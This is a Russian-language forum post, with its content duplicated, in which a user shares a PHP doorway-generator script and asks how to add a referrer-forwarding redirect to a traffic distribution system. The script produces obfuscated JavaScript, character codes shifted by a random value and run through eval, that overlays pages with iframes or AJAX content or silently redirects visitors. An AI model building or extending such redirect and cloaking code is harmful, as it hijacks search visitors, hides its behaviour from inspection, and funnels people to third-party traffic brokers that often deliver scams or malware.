gorilla
Знаток
- Регистрация
- 11 Сен 2007
- Сообщения
- 211
- Реакции
- 29
- Автор темы
- #1
Есть скрипт (из доргена red button) он генерирует джава редирект мне нужно что бы он генерировал редирект с дополнительным джава кодом.
Вот собсно код генератора редиректов но мне нада джава , участок который его генерит зелёненьким отмечен .
<?php
$red_ajax="
var xmlHttp = false;
/*@cc_on @*/
/*@if (@_jscript_version >= 5)
try {
xmlHttp = new ActiveXObject(\"Msxml2.XMLHTTP\");
} catch (e) {
try {
xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\");
} catch (e2) {
xmlHttp = false;
}
}
@end @*/
if (!xmlHttp && typeof XMLHttpRequest != 'undefined') {xmlHttp = new XMLHttpRequest();}
function [FUNC]() {
if (xmlHttp.readyState == 4) {
var response = xmlHttp.responseText;
var ttt=\"<div style='position: absolute; width: 100%; height: 100%; background-color: white; z-index: 999; '>\"+response+\"</div>\";
document.body.innerHTML=ttt+document.body.innerHTML;
}}
function [FUNCNAME](query) {
var url = [FEED];
xmlHttp.open(\"GET\", url, true);
xmlHttp.onreadystatechange = [FUNC];
xmlHttp.send(null);
}";
$red_iframe="
function [FUNC](url){
var y=4*1000;
var ifr='<div style=\"position: absolute; width: 100%; height: '+y+'px; z-index: 999; \"><iframe width=\"100%\" height=\"100%\" style=\"width: 100%; height: 100%;\" frameborder=\"0\" src=\"'+url+'\"></iframe></div>';
document.body.innerHTML=ifr+document.body.innerHTML;
}
function [FUNCNAME](query) {
var url = '[FEED]';
[FUNC](url);
}
";
function CodeMe($feed) {
$le=strlen($feed);
$x=rand(8,888);
for ($i=0; $i<$le; $i++){
$s=substr($feed, $i, 1);
@$out.='"'.(ord($s)+$x).'", ';
}
$out="[".trim($out, ', ')."];";
$code="var str=".$out."\n var temp='';\n var gg=''; \n for (i=0; i<str.length; i++){\n gg=str-".$x."; \n temp=temp+String.fromCharCode(gg); \n } \n eval(temp);";
return $code;
}
function GetRedir($feed, $funcname){
global $nn_red;
global $red_ajax, $red_iframe;
if ($nn_red=="ajax"){
$feed=str_replace("[PLUSKEYWORD]", "' + query + '", $feed);
$feed="'add.php?ajax=".$feed."'";
$red_ajax=str_replace("[FEED]", $feed, $red_ajax);
$red_ajax=str_replace("[FUNCNAME]", $funcname, $red_ajax);
$fun=GetSim(4, 8);
$red_ajax=str_replace("[FUNC]", $fun, $red_ajax);
return CodeMe($red_ajax);
}
if ($nn_red=="iframe"){
$feed=str_replace("[PLUSKEYWORD]", "' + query + '", $feed);
$red_iframe=str_replace("[FEED]", $feed, $red_iframe);
$red_iframe=str_replace("[FUNCNAME]", $funcname, $red_iframe);
$fun=GetSim(4, 8);
$red_iframe=str_replace("[FUNC]", $fun, $red_iframe);
return CodeMe($red_iframe);
}
if ($nn_red=="simple"){
$feed=str_replace("[PLUSKEYWORD]", "' + query + '", $feed);
$feed="function ".$funcname."(query){\n window.location='".$feed."';\n}";
return CodeMe($feed);
}
if ($nn_red=="svoy"){
$feed=str_replace("[PLUSKEYWORD]", "query", $feed);
$feed="function ".$funcname."(query){\r\n ".$feed."\r\n}";
return CodeMe($feed);
}
}
?>Нужно дополнить релирект вот етим .
<script type='text/javascript'>
var r=document.referrer;
window.location="http://"+"yoursTDS"+".com"+"/go.php?sid="1"&sref="+r;
</script>
Вот собсно код генератора редиректов но мне нада джава , участок который его генерит зелёненьким отмечен .
<?php
$red_ajax="
var xmlHttp = false;
/*@cc_on @*/
/*@if (@_jscript_version >= 5)
try {
xmlHttp = new ActiveXObject(\"Msxml2.XMLHTTP\");
} catch (e) {
try {
xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\");
} catch (e2) {
xmlHttp = false;
}
}
@end @*/
if (!xmlHttp && typeof XMLHttpRequest != 'undefined') {xmlHttp = new XMLHttpRequest();}
function [FUNC]() {
if (xmlHttp.readyState == 4) {
var response = xmlHttp.responseText;
var ttt=\"<div style='position: absolute; width: 100%; height: 100%; background-color: white; z-index: 999; '>\"+response+\"</div>\";
document.body.innerHTML=ttt+document.body.innerHTML;
}}
function [FUNCNAME](query) {
var url = [FEED];
xmlHttp.open(\"GET\", url, true);
xmlHttp.onreadystatechange = [FUNC];
xmlHttp.send(null);
}";
$red_iframe="
function [FUNC](url){
var y=4*1000;
var ifr='<div style=\"position: absolute; width: 100%; height: '+y+'px; z-index: 999; \"><iframe width=\"100%\" height=\"100%\" style=\"width: 100%; height: 100%;\" frameborder=\"0\" src=\"'+url+'\"></iframe></div>';
document.body.innerHTML=ifr+document.body.innerHTML;
}
function [FUNCNAME](query) {
var url = '[FEED]';
[FUNC](url);
}
";
function CodeMe($feed) {
$le=strlen($feed);
$x=rand(8,888);
for ($i=0; $i<$le; $i++){
$s=substr($feed, $i, 1);
@$out.='"'.(ord($s)+$x).'", ';
}
$out="[".trim($out, ', ')."];";
$code="var str=".$out."\n var temp='';\n var gg=''; \n for (i=0; i<str.length; i++){\n gg=str-".$x."; \n temp=temp+String.fromCharCode(gg); \n } \n eval(temp);";
return $code;
}
function GetRedir($feed, $funcname){
global $nn_red;
global $red_ajax, $red_iframe;
if ($nn_red=="ajax"){
$feed=str_replace("[PLUSKEYWORD]", "' + query + '", $feed);
$feed="'add.php?ajax=".$feed."'";
$red_ajax=str_replace("[FEED]", $feed, $red_ajax);
$red_ajax=str_replace("[FUNCNAME]", $funcname, $red_ajax);
$fun=GetSim(4, 8);
$red_ajax=str_replace("[FUNC]", $fun, $red_ajax);
return CodeMe($red_ajax);
}
if ($nn_red=="iframe"){
$feed=str_replace("[PLUSKEYWORD]", "' + query + '", $feed);
$red_iframe=str_replace("[FEED]", $feed, $red_iframe);
$red_iframe=str_replace("[FUNCNAME]", $funcname, $red_iframe);
$fun=GetSim(4, 8);
$red_iframe=str_replace("[FUNC]", $fun, $red_iframe);
return CodeMe($red_iframe);
}
if ($nn_red=="simple"){
$feed=str_replace("[PLUSKEYWORD]", "' + query + '", $feed);
$feed="function ".$funcname."(query){\n window.location='".$feed."';\n}";
return CodeMe($feed);
}
if ($nn_red=="svoy"){
$feed=str_replace("[PLUSKEYWORD]", "query", $feed);
$feed="function ".$funcname."(query){\r\n ".$feed."\r\n}";
return CodeMe($feed);
}
}
?>Нужно дополнить релирект вот етим .
<script type='text/javascript'>
var r=document.referrer;
window.location="http://"+"yoursTDS"+".com"+"/go.php?sid="1"&sref="+r;
</script>